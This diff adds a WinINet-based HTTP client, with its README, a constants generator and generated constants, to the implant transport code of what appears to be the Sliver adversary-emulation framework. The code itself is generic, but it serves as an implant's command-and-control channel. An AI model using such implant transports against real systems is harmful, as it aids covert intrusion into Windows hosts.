+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<http://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.

implant/sliver/transports/httpclient/drivers/win/README.md

@@ -0,0 +1,119 @@
+# Forked from https://gitlab.com/mjwhitta/win/
+
+#### Changes
+
+ * Removed winhttp code
+ * Removed custom errors package
+ * Removed custom pathname package
+ * Refactored names to be consistent with the rest of the Sliver code base
+ * Merged client `http` sub-packages with `winhttp` and `wininet`
+ * Added custom cookie jar implementation to wininet client
+
+# Win
+
+<a href="https://www.buymeacoffee.com/mjwhitta">🍪 Buy me a cookie</a>
+
+[![Go Report Card](https://goreportcard.com/badge/gitlab.com/mjwhitta/win)](https://goreportcard.com/report/gitlab.com/mjwhitta/win)
+
+## What is this?
+
+This Go module wraps WinHTTP and WinINet functions and includes HTTP
+clients that use those functions to make HTTP requests. Hopefully,
+this makes it easier to make HTTP requests in Go on Windows. WinHTTP
+(and theoretically WinINet) can even handle NTLM authentication
+automatically for you.
+
+Microsoft recommends [WinINet over WinHTTP] unless you're writing a
+Windows service.
+
+**Note:** This is probably beta quality at best.
+
+[WinINet over WinHTTP]: https://docs.microsoft.com/en-us/windows/win32/wininet/wininet-vs-winhttp
+
+## How to install
+
+Open a terminal and run the following:
+
+```
+$ go get --ldflags="-s -w" --trimpath -u gitlab.com/mjwhitta/win
+```
+
+## Usage
+
+Minimal example:
+
+```
+package main
+
+import (
+    "fmt"
+    "io/ioutil"
+
+    // "gitlab.com/mjwhitta/win/winhttp/http"
+    "gitlab.com/mjwhitta/win/wininet/http"
+)
+
+func main() {
+    var b []byte
+    var dst = "http://127.0.0.1:8080/asdf"
+    var e error
+    var headers = map[string]string{
+        "User-Agent": "testing, testing, 1, 2, 3...",
+    }
+    var req *http.Request
+    var res *http.Response
+
+    http.DefaultClient.TLSClientConfig.InsecureSkipVerify = true
+
+    if _, e = http.Get(dst); e != nil {
+        panic(e)
+    }
+
+    req = http.NewRequest(http.MethodPost, dst, []byte("test"))
+    req.AddCookie(&http.Cookie{Name: "chocolatechip", Value: "tasty"})
+    req.AddCookie(&http.Cookie{Name: "oatmealraisin", Value: "gross"})
+    req.AddCookie(&http.Cookie{Name: "snickerdoodle", Value: "yummy"})
+    req.Headers = headers
+
+    if res, e = http.DefaultClient.Do(req); e != nil {
+        panic(e)
+    }
+
+    if res.Body != nil {
+        if b, e = ioutil.ReadAll(res.Body); e != nil {
+            panic(e)
+        }
+    }
+
+    fmt.Println(res.Status)
+    for k, vs := range res.Header {
+        for _, v := range vs {
+            fmt.Printf("%s: %s\n", k, v)
+        }
+    }
+    if len(b) > 0 {
+        fmt.Println(string(b))
+    }
+
+    if len(res.Cookies()) > 0 {
+        fmt.Println()
+        fmt.Println("# COOKIEJAR")
+    }
+
+    for _, cookie := range res.Cookies() {
+        fmt.Printf("%s = %s\n", cookie.Name, cookie.Value)
+    }
+}
+```
+
+## Links
+
+- [Source](https://gitlab.com/mjwhitta/win)
+
+## TODO
+
+- Mirror `net/http` as close as possible
+    - CookieJar for the Client
+    - etc...
+- WinINet
+    - FTP client

implant/sliver/transports/httpclient/drivers/win/tools/defines.go

@@ -0,0 +1,249 @@
+package main
+
+import (
+	"flag"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"os/user"
+	"path/filepath"
+	"sort"
+	"strings"
+)
+
+func format(str string) string {
+	if !strings.Contains(str, "_") {
+		return str
+	}
+
+	str = strings.ReplaceAll(strings.ToLower(str), "_", " ")
+	str = strings.ReplaceAll(strings.Title(str), " ", "")
+	str = strings.ReplaceAll(str, "Crlf", "CRLF")
+	str = strings.ReplaceAll(str, "Http", "HTTP")
+
+	return str
+}
+
+func genFile(
+	pkg string,
+	cache map[string]string,
+	lines [][]string,
+) error {
+	var err error
+	var file string = "generated.go"
+	var g *os.File
+	var sorted []string
+
+	if g, err = os.Create(file); err != nil {
+		return fmt.Errorf("failed to create %s: %w", file, err)
+	}
+	defer g.Close()
+
+	g.WriteString(
+		"// Code generated by tools/defines.go; DO NOT EDIT.\n",
+	)
+	g.WriteString("package " + pkg + "\n\n")
+	g.WriteString("const (\n")
+
+	for k := range cache {
+		sorted = append(sorted, k)
+	}
+
+	sort.Slice(
+		sorted,
+		func(i int, j int) bool {
+			return len(sorted[i]) > len(sorted[j])
+		},
+	)
+
+	for _, line := range lines {
+		for _, k := range sorted {
+			line[1] = strings.ReplaceAll(line[1], k, cache[k])
+		}
+
+		if strings.HasPrefix(line[1], "\"") {
+			g.WriteString(
+				fmt.Sprintf("\t%s string = %s\n", line[0], line[1]),
+			)
+		} else if strings.HasPrefix(line[1], "L\"") {
+			g.WriteString(
+				fmt.Sprintf(
+					"\t%s string = %s\n",
+					line[0],
+					strings.Replace(line[1], "L", "", 1),
+				),
+			)
+		} else if strings.HasPrefix(line[1], "TEXT(") {
+			line[1] = strings.Replace(line[1], "TEXT(", "", 1)
+			line[1] = strings.Replace(line[1], ")", "", 1)
+
+			g.WriteString(
+				fmt.Sprintf("\t%s string = %s\n", line[0], line[1]),
+			)
+		} else {
+			g.WriteString(
+				fmt.Sprintf("\t%s uintptr = %s\n", line[0], line[1]),
+			)
+		}
+	}
+
+	g.WriteString(")\n")
+
+	return nil
+}
+
+func init() {
+	flag.Parse()
+}
+
+func main() {
+	var cache = map[string]string{
+		"NULL":   "0",
+		"sizeof": "len",
+	}
+	var lines [][]string
+
+	if flag.NArg() == 0 {
+		return
+	}
+
+	for i, arg := range flag.Args() {
+		if (i == 0) || !DoesExist(arg) {
+			continue
+		}
+
+		if err := processFile(&cache, &lines, arg); err != nil {
+			panic(err)
+		}
+	}
+
+	if err := genFile(flag.Arg(0), cache, lines); err != nil {
+		panic(err)
+	}
+}
+
+func processFile(
+	cache *map[string]string,
+	lines *[][]string,
+	file string,
+) error {
+	var b []byte
+	var err error
+	var f *os.File
+	var fullLine string
+	var tmp []string
+
+	if f, err = os.Open(ExpandPath(file)); err != nil {
+		return fmt.Errorf("failed to open %s: %w", file, err)
+	}
+	defer f.Close()
+
+	if b, err = ioutil.ReadAll(f); err != nil {
+		return fmt.Errorf("failed to read %s: %w", file, err)
+	}
+
+	for _, line := range strings.Split(string(b), "\n") {
+		line = strings.TrimSpace(line)
+
+		if strings.HasSuffix(line, "\\") {
+			fullLine += line[:len(line)-1]
+			continue
+		} else {
+			fullLine += line
+		}
+
+		line = fullLine
+		fullLine = ""
+
+		if !strings.HasPrefix(line, "#define") {
+			continue
+		}
+
+		line = strings.Replace(line, "#define ", "", 1)
+		tmp = strings.SplitN(line, " ", 2)
+
+		if (len(tmp) != 2) ||
+			strings.Contains(tmp[0], "(") ||
+			strings.Contains(tmp[0], ")") ||
+			strings.Contains(tmp[1], "~") ||
+			strings.Contains(tmp[1], "_(") ||
+			strings.Contains(tmp[1], "DWORD") ||
+			strings.Contains(tmp[1], "EXTERN_C") ||
+			strings.Contains(tmp[1], "__MINGW_NAME") ||
+			(tmp[0]+"W" == tmp[1]) {
+			continue
+		}
+
+		(*cache)[tmp[0]] = format(tmp[0])
+		*lines = append(*lines, []string{format(tmp[0]), tmp[1]})
+	}
+
+	return nil
+}
+
+// DoesExist returns true if the specified path exists on disk, false
+// otherwise.
+func DoesExist(path string) bool {
+	if _, err := os.Stat(ExpandPath(path)); err == nil {
+		return true
+	} else if os.IsNotExist(err) {
+		return false
+	} else {
+		panic(err)
+	}
+}
+
+// ExpandPath will expand the specified path accounting for ~ or ~user
+// shortcuts as well as ENV vars.
+func ExpandPath(path string) string {
+	var err error
+	var sep int
+	var usr *user.User
+
+	// Fix separators
+	path = filepath.Clean(path)
+
+	// Expand ENV vars
+	path = os.ExpandEnv(path)
+
+	// Expand ~
+	if strings.HasPrefix(path, "~") {
+		sep = strings.Index(path, string(filepath.Separator))
+
+		switch sep {
+		case -1:
+			// If just ~
+			if path == "~" {
+				if usr, err = user.Current(); err != nil {
+					return path
+				}
+			} else {
+				// If ~user shortcut
+				if usr, err = user.Lookup(path[1:]); err != nil {
+					return path
+				}
+			}
+
+			path = ""
+		case 1:
+			// If path starting with ~/
+			if usr, err = user.Current(); err != nil {
+				return path
+			}
+
+			path = path[2:]
+		default:
+			// If ~user/ shortcut
+			if usr, err = user.Lookup(path[1:sep]); err != nil {
+				return path
+			}
+
+			path = path[sep+1:]
+		}
+
+		return filepath.Join(usr.HomeDir, path)
+	}
+
+	// Otherwise just return path
+	return path
+}

implant/sliver/transports/httpclient/drivers/win/wininet/client_generic.go

@@ -0,0 +1,38 @@
+//go:build !windows
+// +build !windows
+
+package http
+
+import "errors"
+
+// Client is an empty struct, if not Windows.
+type Client struct{}
+
+// NewClient is only supported on Windows.
+func NewClient() (*Client, error) {
+	return &Client{}, errors.New("unsupported OS")
+}
+
+// Do is only supported on Windows.
+func (c *Client) Do(r *Request) (*Response, error) {
+	return nil, errors.New("unsupported OS")
+}
+
+// Get is only supported on Windows.
+func (c *Client) Get(url string) (*Response, error) {
+	return nil, errors.New("unsupported OS")
+}
+
+// Head is only supported on Windows.
+func (c *Client) Head(url string) (*Response, error) {
+	return nil, errors.New("unsupported OS")
+}
+
+// Post is only supported on Windows.
+func (c *Client) Post(
+	url string,
+	contentType string,
+	body []byte,
+) (*Response, error) {
+	return nil, errors.New("unsupported OS")
+}

implant/sliver/transports/httpclient/drivers/win/wininet/client_windows.go

@@ -0,0 +1,198 @@
+package wininet
+
+import (
+	"encoding/binary"
+	"fmt"
+	"io/ioutil"
+	"net/http"
+	"net/url"
+	"sync"
+	"time"
+)
+
+// Client is a struct containing relevant metadata to make HTTP
+// requests.
+type Client struct {
+	handle          uintptr
+	Timeout         time.Duration
+	TLSClientConfig struct {
+		InsecureSkipVerify bool
+	}
+	CookieJar *Jar
+}
+
+// NewClient will return a pointer to a new Client instance that
+// simply wraps the net/http.Client type.
+func NewClient(userAgent string) (*Client, error) {
+	var client = &Client{
+		CookieJar: cookieJar(),
+	}
+	var err error
+
+	// Create session
+	client.handle, err = InternetOpenW(
+		userAgent,
+		InternetOpenTypePreconfig,
+		"",
+		"",
+		0,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("failed to create session: %w", err)
+	}
+	return client, nil
+}
+
+// Do will send the HTTP request and return an HTTP response.
+func (c *Client) Do(request *http.Request) (*http.Response, error) {
+	var buf []byte
+	var err error
+	var reqHandle uintptr
+	var resp *Response
+
+	var rawBody []byte
+	if request.Body != nil {
+		rawBody, err = ioutil.ReadAll(request.Body)
+		if err != nil {
+			return nil, fmt.Errorf("failed to read request body: %w", err)
+		}
+	}
+
+	headers := make(map[string]string)
+	for headerName, headerValue := range request.Header {
+		if 0 < len(headerValue) {
+			headers[headerName] = headerValue[0]
+		}
+	}
+	req := &Request{
+		Method:  request.Method,
+		URL:     request.URL.String(),
+		Headers: headers,
+		Body:    rawBody,
+	}
+
+	if reqHandle, err = buildRequest(c.handle, req); err != nil {
+		return nil, err
+	}
+
+	if c.Timeout > 0 {
+		buf = make([]byte, 4)
+		binary.LittleEndian.PutUint32(
+			buf,
+			uint32(c.Timeout.Milliseconds()),
+		)
+
+		err = InternetSetOptionW(
+			reqHandle,
+			InternetOptionConnectTimeout,
+			buf,
+			len(buf),
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to set connect timeout: %w", err)
+			return nil, err
+		}
+
+		err = InternetSetOptionW(
+			reqHandle,
+			InternetOptionReceiveTimeout,
+			buf,
+			len(buf),
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to set receive timeout: %w", err)
+			return nil, err
+		}
+
+		err = InternetSetOptionW(
+			reqHandle,
+			InternetOptionSendTimeout,
+			buf,
+			len(buf),
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to set send timeout: %w", err)
+			return nil, err
+		}
+	}
+
+	if c.TLSClientConfig.InsecureSkipVerify {
+		buf = make([]byte, 4)
+		binary.LittleEndian.PutUint32(
+			buf,
+			uint32(SecuritySetMask),
+		)
+
+		err = InternetSetOptionW(
+			reqHandle,
+			InternetOptionSecurityFlags,
+			buf,
+			len(buf),
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to set security flags: %w", err)
+			return nil, err
+		}
+	}
+
+	for _, cookie := range c.CookieJar.Cookies(request.URL) {
+		req.AddCookie(cookie)
+	}
+
+	if err = sendRequest(reqHandle, req); err != nil {
+		return nil, err
+	}
+
+	if resp, err = buildResponse(reqHandle, req); err != nil {
+		return nil, err
+	}
+
+	c.CookieJar.cookies = resp.Cookies()
+
+	return &http.Response{
+		Status:        resp.Status,
+		StatusCode:    resp.StatusCode,
+		Proto:         "HTTP/1.1",
+		ProtoMajor:    1,
+		ProtoMinor:    1,
+		Body:          resp.Body,
+		ContentLength: resp.ContentLength,
+		Request:       request,
+		Header:        make(http.Header),
+	}, nil
+}
+
+// Jar - CookieJar implementation that ignores domains/origins
+type Jar struct {
+	lk      sync.Mutex
+	cookies []*Cookie
+}
+
+func cookieJar() *Jar {
+	return &Jar{
+		lk:      sync.Mutex{},
+		cookies: []*Cookie{},
+	}
+}
+
+// NewJar - Get a new instance of a cookie jar
+func NewJar() *Jar {
+	jar := new(Jar)
+	jar.cookies = make([]*Cookie, 0)
+	return jar
+}
+
+// SetCookies handles the receipt of the cookies in a reply for the
+// given URL (which is ignored).
+func (jar *Jar) SetCookies(u *url.URL, cookies []*Cookie) {
+	jar.lk.Lock()
+	jar.cookies = append(jar.cookies, cookies...)
+	jar.lk.Unlock()
+}
+
+// Cookies returns the cookies to send in a request for the given URL.
+// It is up to the implementation to honor the standard cookie use
+// restrictions such as in RFC 6265 (which we do not).
+func (jar *Jar) Cookies(u *url.URL) []*Cookie {
+	return jar.cookies
+}

implant/sliver/transports/httpclient/drivers/win/wininet/cookie.go

@@ -0,0 +1,8 @@
+package wininet
+
+// Cookie represents an HTTP cookie sent in the Cookie header of an
+// HTTP Request.
+type Cookie struct {
+	Name  string
+	Value string
+}

implant/sliver/transports/httpclient/drivers/win/wininet/generated.go

@@ -0,0 +1,706 @@
+// Code generated by tools/defines.go; DO NOT EDIT.
+package wininet
+
+const (
+	InternetInvalidPortNumber                      uintptr = 0
+	InternetDefaultFtpPort                         uintptr = 21
+	InternetDefaultGopherPort                      uintptr = 70
+	InternetDefaultHTTPPort                        uintptr = 80
+	InternetDefaultHTTPsPort                       uintptr = 443
+	InternetDefaultSocksPort                       uintptr = 1080
+	InternetMaxHostNameLength                      uintptr = 256
+	InternetMaxUserNameLength                      uintptr = 128
+	InternetMaxPasswordLength                      uintptr = 128
+	InternetMaxPortNumberLength                    uintptr = 5
+	InternetMaxPortNumberValue                     uintptr = 65535
+	InternetMaxPathLength                          uintptr = 2048
+	InternetMaxSchemeLength                        uintptr = 32
+	InternetMaxUrlLength                           uintptr = (InternetMaxSchemeLength + uintptr(len("://")) + InternetMaxPathLength)
+	InternetKeepAliveEnabled                       uintptr = 1
+	InternetKeepAliveDisabled                      uintptr = 0
+	InternetReqflagFromCache                       uintptr = 0x00000001
+	InternetReqflagAsync                           uintptr = 0x00000002
+	InternetReqflagViaProxy                        uintptr = 0x00000004
+	InternetReqflagNoHeaders                       uintptr = 0x00000008
